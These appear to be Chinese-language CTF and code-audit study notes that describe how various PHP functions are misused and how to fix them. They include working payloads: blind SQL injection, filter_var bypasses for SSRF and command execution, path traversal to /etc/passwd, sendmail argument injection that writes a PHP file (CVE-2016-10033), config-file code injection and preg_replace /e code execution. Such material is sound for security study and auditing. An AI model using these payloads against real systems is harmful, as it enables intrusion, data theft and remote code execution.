in_array()
in_array :(PHP 4, PHP 5, PHP 7)
功能 :检查数组中是否存在某个值
定义 :
bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )
在 $haystack 中搜索 $needle ,如果第三个参数 $strict 的值为 TRUE ,则 in_array() 函数会进行强检查,检查 $needle 的类型是否和 $haystack 中的相同。如果找到 $haystack,则返回 TRUE,否则返回 FALSE。
存在漏洞
1.上传漏洞
in_array()函数检测上传文件时候,可未将第三个参数设置为true,从而导致攻击者构造文件名绕过服务端的检测。例如上传7shell.php在in_array()
函数强制转换后变为7.php
2.sql注入漏洞
在传入的参数进行in_array()函数检查的时候,若传入的参数和数组进行比较,且in_array()第三个参数(弱比较)设置为true的话,传入的1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#
会和第二个参数(也就是数组)进行弱比较,从而构成sql注入
1 | INSERT INTO piwigo_rate (user_id,anonymous_id,element_id,rate,date) VALUES (2,'192.168.2',1,1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#,NOW()) ; |
修复建议
可以看到这个漏洞的原因是弱类型比较问题,那么我们就可以使用强匹配进行修复。例如将 in_array() 函数的第三个参数设置为 true ,或者使用 intval() 函数将变量强转成数字,又或者使用正则匹配来处理变量。这里我将 in_array() 函数的第三个参数设置为 true ,代码及防护效果如下:
filter_var()
filter_var : (PHP 5 >= 5.2.0, PHP 7)
功能 :使用特定的过滤器过滤一个变量
定义 :mixed filter_var ( mixed
$variable
[, int$filter
= FILTER_DEFAULT [, mixed$options
]] )
filter_var()
函数通过指定的过滤器过滤一个变量。如果成功,则返回被过滤的数据。如果失败,则返回 FALSE。
FILTER_VALIDATE_URL 过滤器把值作为 URL 进行验证。
FILTER_FLAG_SCHEME_REQUIRED — 要求 URL 是 RFC 兼容 URL。(比如:http://example)
FILTER_FLAG_HOST_REQUIRED — 要求 URL 包含主机名(http://www.example.com)
FILTER_FLAG_PATH_REQUIRED — 要求 URL 在主机名后存在路径(比如:eg.com/example1/)
FILTER_FLAG_QUERY_REQUIRED — 要求 URL 存在查询字符串(比如:”eg.php?age=37")
存在漏洞
1.xss漏洞
伪协议绕过filter_var()
函数
2.ssrf漏洞
http://
file://
test://
绕过 filter_var 的 FILTER_VALIDATE_URL 过滤器
1 | http://localhost/index.php?url=http://demo.com@sec-redclub.com |
3.命令执行漏洞
1 | index.php?url=test1234://”|type;f1agi3hEre.php;sec-redclub.com |
参考浅谈CTF中命令执行与绕过的小技巧对payload进行解释
; 表示 连续指令
| 表示 管道符左边命令的输出就会作为管道符右边命令的输入
&符号
& 放在启动参数后面表示设置此进程为后台进程,默认情况下,进程是前台进程,这时就把Shell给占据了,我们无法进行其他操作,对于那些没有交互的进程,很多时候,我们希望将其在后台启动,可以在启动参数的时候加一个’&’实现这个目的。进程切换到后台的时候,我们把它称为job。切换到后台时会输出相关job信息,这里36210就是该进程的PID
这对XSS漏洞,我们最好就是过滤关键词,将特殊字符进行HTML实体编码替换。
4.filter_var() 中 FILTER_VALIDATE_EMAIL
关于 filter_var() 中 FILTER_VALIDATE_EMAIL 这个选项作用,我们可以看看这个帖子 PHP FILTER_VALIDATE_EMAIL 。这里面有个结论引起了我的注意: none of the special characters in this local part are allowed outside quotation marks ,表示所有的特殊符号必须放在双引号中。 filter_var() 问题在于,我们在双引号中嵌套转义空格仍然能够通过检测。同时由于底层正则表达式的原因,我们通过重叠单引号和双引号,欺骗 filter_val() 使其认为我们仍然在双引号中,这样我们就可以绕过检测。下面举个简单的例子,方便理解:
1 |
|
修复建议
我们来看一下 PHPMailer 官方给出的修复代码。官方对用户传入的参数进行检测,如果当中存在被转义的字符,则不传递 -f 参数(-f 参数表示发邮件的人,如果不传递该参数,我们的payload就不会被带入 mail 函数,也就不会造成命令执行),所以不建议大家同时使用 escapeshellcmd() 和 escapeshellarg() 函数对参数进行过滤,具体修复代码如下:https://xz.aliyun.com/t/2501#toc-5
class_exists()
class_exists :(PHP 4, PHP 5, PHP 7)
功能 :检查类是否已定义
定义 :
bool class_exists ( string $class_name[, bool $autoload = true ] )
$class_name 为类的名字,在匹配的时候不区分大小写。默认情况下 $autoload 为 true,当 $autoload 为 true 时,会自动加载本程序中的 __autoload 函数;当 $autoload 为 false 时,则不调用 __autoload 函数。
class_exists() 函数来判断用户传过来的控制器是否存在,默认情况下,如果程序存在 __autoload 函数,那么在使用 class_exists() 函数就会自动调用本程序中的 __autoload 函数,这题的文件包含漏洞就出现在这个地方。攻击者可以使用 路径穿越 来包含任意文件,当然使用路径穿越符号的前提是 PHP5~5.3(包含5.3版本)版本 之间才可以。例如类名为: ../../../../etc/passwd 的查找,将查看passwd文件内容,我们来看一下PHP手册对 class_exists() 函数的定义:
存在漏洞
1.目录穿越
若是__autoload函数下是include $classname
2.默认情况下加载__autoload()函数
3.危险的spl_autoload_register 导致构建函数rce
1 | http://localhost/CTF/index.php?name=GlobIterator¶m=./*.php¶m2=0 |
strpos
strpos — 查找字符串首次出现的位置
作用:主要是用来查找字符在字符串中首次出现的位置。
结构:
int strpos ( string $haystack , mixed $needle [, int $offset = 0 ] )
strpos 函数返回查找到的子字符串的下标。如果字符串开头就是我们要搜索的目标,则返回下标 0 ;如果搜索不到,则返回 false 。!false = true
存在漏洞
1.弱类型绕过
修复建议
使用 === 来代替 ==
mail函数
php 内置函数 mail 所引发的命令执行漏洞。我们先看看 php 自带的 mail 函数的用法:
1 | bool mail ( |
其参数含义分别表示如下:
- to,指定邮件接收者,即接收人
- subject,邮件的标题
- message,邮件的正文内容
- additional_headers,指定邮件发送时其他的额外头部,如发送者From,抄送CC,隐藏抄送BCC
- additional_parameters,指定传递给发送程序sendmail的额外参数。
在Linux系统上, php 的 mail 函数在底层中已经写好了,默认调用 Linux 的 sendmail 程序发送邮件。而在额外参数( additional_parameters )中, sendmail 主要支持的选项有以下三种:
-O option = value
QueueDirectory = queuedir 选择队列消息
-X logfile
这个参数可以指定一个目录来记录发送邮件时的详细日志情况。
-f from email
这个参数可以让我们指定我们发送邮件的邮箱地址。
下面这个样例中,我们使用 -X 参数指定日志文件,最终会在 /var/www/html/rce.php 中写入如下数据:
escapeshellcmd
escapeshellcmd ( string
$command
) : stringescapeshellcmd() 对字符串中可能会欺骗 shell 命令执行任意命令的字符进行转义。 此函数保证用户输入的数据在传送到 exec() 或 system() 函数,或者 执行操作符 之前进行转义。
详细分析escapeshellcmd
函数处理过程
传入的参数是
1
127.0.0.1' -v -d a=1
由于
escapeshellarg
先对单引号转义,再用单引号将左右两部分括起来从而起到连接的作用。所以处理之后的效果如下:1
'127.0.0.1'\'' -v -d a=1'
接着
escapeshellcmd
函数对第二步处理后字符串中的\
以及a=1'
中的单引号进行转义处理,结果如下所示:1
'127.0.0.1'\\'' -v -d a=1\'
由于第三步处理之后的payload中的
\\
被解释成了\
而不再是转义字符,所以单引号配对连接之后将payload分割为三个部分127.0.0.1
''
-v -da=1\
所以这个payload可以简化为 curl 127.0.0.1\ -v -d a=1'
,即向 127.0.0.1\
发起请求,POST 数据为 a=1'
。
总结一下,CVE-2016-10033是考察绕过 filter_var() 函数的邮件名检测,通过 mail 函数底层实现中调用的 escapeshellcmd() 函数处理字符串,再结合 escapeshellarg() 函数,最终实现参数逃逸,导致 远程代码执行 。
1 | return escapeshellarg($email); |
escapeshellarg
escapeshellarg — 把字符串转码为可以在 shell 命令里使用的参数
功能 :escapeshellarg() 将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数,shell 函数包含 exec(),system() 执行运算符(反引号)
这里其实有个很奇妙的漏洞,针对用户输入使用 escapeshellarg 函数进行处理。所以,在最新版本中使用之前的 payload 进行攻击会失败,例如:
1 | a( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com |
但是,却可以使用下面这个 payload 进行攻击:
1 | a'( -OQueueDirectory=/tmp -X/var/www/html/x.php )@a.com |
际上,可用于攻击的代码只是在之前的基础上多了一个单引号。之所以这次的攻击代码能够成功,是因为修复代码多了 escapeshellcmd 函数,结合上 mail() 函数底层调用的 escapeshellarg 函数,最终导致单引号逃逸。
我们的 payload 最终在执行时变成了
1 | '-fa'\\''\( -OQueueDirectory=/tmp -X/var/www/html/test.php \)@a.com\' |
按照刚才上面的分析,我们将payload化简分割一下就是-fa\(
、-OQueueDirectory=/tmp
、-X/var/www/html/test.php
、)@a.com'
,这四个部分。最终的参数就是这样被注入的。
- escapeshellarg ,将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号
- escapeshellcmd ,会对以下的字符进行转义&#;
|*?~<>^()[]{}$
,x0A
和xFF
,'
和"
仅在不配对的时候被转义。
preg_replace
preg_replace:(PHP 4, PHP 5, PHP 7)
功能 : 函数执行一个正则表达式的搜索和替换
定义 :
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 如果匹配成功将其替换成 replacement 。
$file = preg_replace("/[^a-z.-_]/","",$token)
此处匹配除了 a 字符到 z 字符、. 字符到 _ 字符之间的所有字符。
存在漏洞
1.逃逸匹配字符,任意文件包含/删除等操作
2.换行符绕过正则匹配写shell
经典的配置文件写入问题漏洞.
1 | <?php |
config.php 的内容如下:
1 | <?php |
要求是要getshell,这个场景十分经典,常用在修改配置文件写入的时候。 此处不存在之前说的那个配置文件中用的是"双引号"引起任意代码执行的问题,这这里面用的是单引号,而且 addslashes()处理过了,看似很安全,但是对于脑子里有个黑洞的搞安全的人来讲,这个还真是有问题的.
payload:
1 | http://127.0.0.1/index.php?option=a';%0aphpinfo();// |
执行完第一个之后,config.php中的内容为:
1 | <?php |
但是这样并没有办法执行phpinfo(),因为我们插入的 单引号 被转移掉了,所以phpinfo()还是在单引号的包裹之内. 我们在访问下面这个
1 | http://127.0.0.1/index.php?option=a |
因为正则 .* 会匹配行内的任意字符无数次.所以 \ 也被认为是其中的一部分,也会被替换掉,执行完之后,config.php中的内容为:
1 | <?php |
3.preg_replace对\
进行转义
payload如下:
1 | http://127.0.0.1/index.php?option=a\';phpinfo();// |
config.php变为:('
被转义为\'
)
1 | <?php |
4.利用 preg_replace() 函数的第二个参数
对replacement的描述.
replacement中可以包含后向引用\n 或(php 4.0.4以上可用)$n,语法上首选后者。 每个 这样的引用将被匹配到的第n个捕获子组捕获到的文本替换。 n 可以是0-99,\0和$0代表完整的模式匹配文本。
所以我们可以用:
1 | http://127.0.0.1/test/ph.php?option=;phpinfo(); |
执行第一条后config.php的内容为:
1 | <?php |
再执行第二条后config.php的内容为:
1 | <?php |
修复建议
写全正则pattern
parse_str
功能 :parse_str的作用就是解析字符串并且注册成变量,它在注册变量之前不会验证当前变量是否存在,所以会直接覆盖掉当前作用域中原有的变量。
定义 :
void parse_str( string $encoded_string [, array &$result ] )
如果 encoded_string 是 URL 传入的查询字符串(query string),则将它解析为变量并设置到当前作用域(如果提供了 result 则会设置到该数组里 )。
存在漏洞
1.变量覆盖
类似b=a[0]=md5('QNKCDZO')
修复建议
为了解决变量覆盖问题,可以在注册变量前先判断变量是否存在,如果使用 extract 函数可以配置第二个参数是 EXTR_SKIP 。使用 parse_str 函数之前先自行通过代码判断变量是否存在。
preg_replace
preg_replace:(PHP 5.5)
功能 : 函数执行一个正则表达式的搜索和替换
定义 :
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 如果匹配成功以 replacement 进行替换
- $pattern 存在 /e 模式修正符,允许代码执行
- /e 模式修正符,是 preg_replace() 将 $replacement 当做php代码来执行
存在漏洞
1.代码执行
payload :value=\S\*=${phpinfo()}
2.不包含字母数字的webshell利用
https://mp.weixin.qq.com/s/fCxs4hAVpa-sF4tdT_W8-w
修复建议
漏洞是 preg_replace() 存在 /e 模式修正符,如果正则匹配成功,会造成代码执行漏洞,因此为了避免这样的问题,我们避免使用 /e 模式修正符,如下图第7行:
extract
extract :(PHP 4, PHP 5, PHP 7)
功能 :从数组中将变量导入到当前的符号表
定义 :
int extract ( array &$array [, int $flags = EXTR_OVERWRITE [, string $prefix = NULL ]] )
该函数实际上就是把数组中的键值对注册成变量
1 | POST |
修复建议
实际上,要修复这一类型的漏洞,我们只要在正确的地方退出程序即可。拿这次的例题举例,我们只需要在检查到非法操作的时候,直接添加退出函数,即可避免漏洞发生。例如使用 die 、 exit 等函数都是可以的。
htmlentities
htmlentities — 将字符转换为 HTML 转义字符
1
2 > string htmlentities ( string $string [, int $flags = ENT_COMPAT | ENT_HTML401 [, string $encoding = ini_get("default_charset") [, bool $double_encode = true ]]] )
>
作用:在写PHP代码时,不能在字符串中直接写实体字符,PHP提供了一个将HTML特殊字符转换成实体字符的函数 htmlentities()。
注:htmlentities() 并不能转换所有的特殊字符,是转换除了空格之外的特殊字符,且单引号和双引号需要单独控制(通过第二个参数)。第2个参数取值有3种,分别如下:
- ENT_COMPAT(默认值):只转换双引号。
- ENT_QUOTES:两种引号都转换。
- ENT_NOQUOTES:两种引号都不转换。
ENT_NOQUOTES
情况下可以使用'
进行逃逸,构成xss/sql注入等漏洞
ENT_QUOTES
情况下,可以使用\
进行过滤,这个例子可以在那些年我们学过的xss一书中看到反斜杠逃逸的例子
例子:
正常输入
1 | username=admin&password=admin |
数据库执行语句
1 | $query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'; |
username后面的 ' 失效,只要这个 ' 失效,就能闭合pass=后面的 '。最后组合的payload就如下图所示
1 | username=\&password=union select * from ctf.users# |
数据库执行语句
1 | $query='SELECT * FROM ctf.users WHERE name=\''.$username.'\' AND pass=\''.$password.'\';'; |
这里的name=\'' \ \'AND pass='
然后password填入构造的payload即可